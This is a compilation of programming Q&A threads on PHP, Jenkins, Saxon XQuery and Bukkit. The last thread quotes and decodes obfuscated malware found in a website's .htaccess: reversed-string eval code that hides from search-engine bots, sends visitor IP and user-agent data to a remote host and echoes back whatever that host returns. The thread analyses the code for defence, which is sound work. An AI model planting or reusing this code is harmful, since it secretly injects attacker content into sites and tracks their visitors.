Using contains key with file_get_contents - file-get-contents

So I'm trying to read a JSON file at a seperate url and based off what what is in the JSON file I would like for the program to do something. But the way I'm currently trying to do it is not working.
<?php
$homepage = file_get_contents('http://direct.cyberkitsune.net/canibuycubeworld/status.json');
//echo $homepage;
if($homepage contains 'f'){
echo 'true';
}else{
echo 'Something went terribly wrong!";
}
?>
This is the error that I get
Parse error: syntax error, unexpected T_STRING in /home/a1285224/public_html/cubeworld.php on line 4
When I searched up the "file_get_contents" under the php manual it says that it should read the entire file into a string, so I'm a little confused why I'm getting a string error.
Thanks~

In stead of 'contains', see the strpos function. Also, you must close single quotes with single quotes, and double quotes with double quotes.
i.e.
$homepage = file_get_contents("http://direct.cyberkitsune.net/canibuycubeworld/status.json");
// echo $homepage;
if (strpos($homepage, "f") !== false)
{
echo "true";
}
else
{
echo "Somethingwentterriblywrong!";
}
Based on what you are trying to do, also see PHP's JSON library.
To get the JSON data, you can use json_decode.
To dump all vars:
$json = json_decode($homepage, true);
var_dump($json);
To get all the other data:
printf("Time: %s<br>Site: %s<br>Reg: %s<br>Shop: %s", $json['time'], $json['site'], $json['reg'], $json['shop']);

Related

Substitute values from property file in Jenkinsfile for dynamically set variables

I have a Jenkinsfile with multiple parameters that are environment-specific.
The values for those parameters are stored in a property file. I am trying to set the variables based upon the selected environment and then replace their values from the property files.
Jenkinsfile
ENVIRONMENT is a choice parameter having 2 values: ft, perf and pm as below in my Jenkinsfile
choice (
name: 'ENVIRONMENT',
choices: ['ft', 'perf','pm'],
description: 'please select the environment'
)
PROPERTY_FILE is another choice parameter as below
choice (
name: 'PROPERTY_FILE',
choices: ['jenkins/app.groovy'],
description: 'please select the property file'
)
app.groovy looks like:
Test_perf="Hello"
Test_ft="World"
Test_pm="Welcome"
Stages
stage('Load Environment Property File') {
steps {
script {
//sourcing user selected property file
load "${PROPERTY_FILE}"
def envName = "${PROPERTY_FILE}".tokenize(".")[0]
//it will set build description as description in Jenkins build history
env.envName=envName
currentBuild.description = "Env:${envName}"
}
}
}
//STAGE FOR WHICH I NEED HELP
stage('Set Variables Based upon environment name') {
steps {
script{
if ("${ENVIRONMENT}" == "perf" ){
var="\${Test_"+"${DEPLOYMENT_ENVIRONMENT}"+"}"
echo "${var}" //output is ${Test_pm} and is correct as the substitution happens.
//NOW, I AM TRYING TO echo "HELLO", i.e.; replacing the variable "${Test_perf}" stuffed inside "var" from the property file. However, since the property file is already loaded, it will not replace the key by its value from the property file.
} else if ("${ENVIRONMENT}" == "ft" ){
var="\${Test_"+"${DEPLOYMENT_ENVIRONMENT}"+"}"
echo "${var}" //output is ${Test_ft} and is correct as the substitution happens.
//NOW, I AM TRYING TO echo "World"
} else {
var="\${Test_"+"${DEPLOYMENT_ENVIRONMENT}"+"}"
echo "${var}" //output is ${Test_pm} and is correct as the substitution happens.
//NOW, I AM TRYING TO echo "Welcome"
}
}
}
}
Is there a way to further substitute the value from the property file. For e.g.; "${var}" expands to "${Test_pm}" and then "${Test_pm}" gets the value "Welcome" from the property file.
Please help.

Can Saxon work on a page with .htaccess?

Due to some issues with the php version of Saxon, I currently have a convoluted setup where I do a php call to execute a java command, convert the results into html, display that html on my page, and then delete the resulting html after display. I can provide a link to the page if it helps, but the actual .xq file is pretty simplistic:
xquery version "1.0" encoding "UTF-8";
declare namespace tei="http://www.tei-c.org/ns/1.0";
declare variable $zone external;
declare variable $line external;
declare variable $collection external;
declare function local:if-empty
( $arg as item()? ,
$value as item()* ) as item()* {
if (string($arg) != '')
then data($arg)
else $value
};
declare function local:remove-elements($input as element(), $remove-names as xs:string*) as element() {
element {node-name($input) }
{$input/#*,
for $child in $input/node()[not(name(.)=$remove-names)]
return
if ($child instance of element())
then local:remove-elements($child, $remove-names)
else $child
}
};
declare function local:remove-empty-elements($nodes as node()*) as node()* {
for $node in $nodes
return
if (empty($node)) then () else
if ($node instance of element())
then if (normalize-space($node) = '')
then ()
else element { node-name($node)}
{ $node/#*,
local:remove-empty-elements($node/node())}
else if ($node instance of document-node())
then local:remove-empty-elements($node/node())
else $node
} ;
<list>
{
let $q:=collection($collection)
let $remove-list := ('note')
(:let $q:=local:remove-empty-elements($q):)
for $y in $q
let $s := $y//tei:surface
let $t := $y//tei:titleStmt/#xml:id
let $m := $y//tei:msDesc/#xml:id
let $z := $s/tei:zone[#n=$zone]
let $l := $z/tei:line[#n=$line]
let $w := concat($y//tei:msDesc/tei:msIdentifier/tei:settlement/text(),', ',$y//tei:msDesc/tei:msIdentifier/tei:institution/text(),' ',$y//tei:msDesc/tei:msIdentifier/tei:idno/text())
let $g := concat($t, "/" , $m, "/", substring-before($l/../../tei:graphic/#url,"."),".html")
let $o:=local:remove-elements($l/tei:orig,$remove-list)
where ($z//tei:line/#n = "l.1")
return
<item>{$w}: <ref target="{$g}">{$o}</ref></item>}
</list>
and the command to run it is java -Xms128m -Xmx1024m -XX:+UseCompressedOops -cp saxon9he.jar net.sf.saxon.Query -t -q:test.xq -o:1505740041.41932650059544.xml line=l.4 zone=EETS.QD.8 collection=file:<filefolder>
My problem is that the xml files I'm working with are currently unpublished transcriptions, and I'd like to keep them behind a password protected folder until I think they're ready for prime time. If I have any sort of .htaccess file in the filefolder location, I get the following error message:
Building tree for file:<filefolder>/.htaccess using class net.sf.saxon.tree.tiny.TinyBuilder
Error on line 1 column 1 of .htaccess:
SXXP0003: Error reported by XML parser: Content is not allowed in prolog.
Query failed with dynamic error: org.xml.sax.SAXParseException; systemId: file:<filefolder>/.htaccess; lineNumber: 1; columnNumber: 1; Content is not allowed in prolog.
It's pretty obvious to me that what's happening is that it's getting to the .htaccess file, which is not XML, and then doesn't know what to do with it. My question is if there's a way in my xquery file to tell Saxon not to include .htaccess in the collection. I'm sure there is, but everything I've found is about finding file names, not about suppressing them in the collection you're building.
If you ever need something more elaborate than selection using a glob pattern, then you can use the uri-collection() function to return the URIs of the files in the directory, and then use doc() to process the ones that you are actually interested in. This would give you a solution if, for example, you wanted everything that doesn't start with ".", regardless of its extension.
Another thing you can do with uri-collection() is to process each returned URI within a try/catch block so you have full control over the error handling.
Ok, I'm just stupid. The solution is to add a concat statement to append the select info to the $collection variable, like so:
let $collection:=concat($collection, '?select=*.xml')
let $q:=collection($collection)
let $remove-list := ('note')

Bukkit - Compare config string with argument

i get this wierd bug.
i have this code, which compares the password in the config file with the given argument:
if(label.equalsIgnoreCase("login")){
if(getConfig().getString("players."+p.getName()+".password") == args[0]){
p.sendMessage("OK!");
} else {
p.sendMessage("NOT OK!");
}
but no matter what, it ouputs "NOT OK!", what am i doing wrong?
ive tried to debug it, to send a message with the given argument and what it sees in the config file.
they were both the same!
You should try
String configValue = config.getString("players."+p.getName()+".password");
if(configValue != null && configValue.equals(args[0]) { // maybe you just need to change the index of args[], depending on if your command looks like /xy <password> or /xy z <password>
p.sendMessage("OK!");
} else {
p.sendMessage("NOT OK!");
}

Error: Undefined index: HTTP_X_FORWARDED_FOR

I have written this code
$ips = preg_split("/,/", $_SERVER["HTTP_X_FORWARDED_FOR"]);
$ip = $ips[0];
if ($key === $ip && $val === env('SERVER_ADDR')) {
$addr = env($ip);
if ($addr !== null) {
$val = $addr;
}
}
But I am getting following error:
<b>Notice</b>: Undefined index: HTTP_X_FORWARDED_FOR
Just dont use array keys without knowing for sure they always exist..
basic PHP one o' one
if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
// now only try to access this key
}
The alternative in Cake is to use wrapper methods that are designed to automatically check on the existence internally. Then you can just read the value directly. In your case env() checks on those server vars:
$result = env('HTTP_X_FORWARDED_FOR');

What does function s37 in htaccess do?

Found a code this morning encoded under several layers attached to a website I administer's .htaccess. The code reads as follows:
function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif# = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes# { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));
Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?
Looks like pretty heavily obfuscated stat-tracking code, but I'm more inclined to say it's malicious. s37, as noted, reverses the string:
function s37($s)
{
$e = "";
for ($a = 0; $a <= strlen($s)-1; $a++ )
{
$e .= $s{strlen($s)-$a-1};
}
return($e);
}
This, in turn, generates the following code:
$z37="stats";
$h37="http";
$c37="in";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_COOKIE[$z37])))
{
}
else
{
#setcookie($z37,md5("stats"),time()+10800);
$url = #file_get_contents($h37.":"."//".$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.".$c37/".$c37.".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($ua3)."&h=".urlencode($_SERVER["HTTP_HOST"]));
if (strstr($url,"!go!"))
{
$url = explode("!go!",$url);
$url = $url[1];
echo $url;
}
}
The user-agent matching stuff prevents search engine bots from running the code. Otherwise, for browsers, a cookie gets set, then some code gets downloaded from a remote server and echoed out. The purpose of the code that's downloaded is hard to ascertain without more info.
function s37 reverses the supplied string. function s37 doe only go for the first little bit of the line of code though...

Resources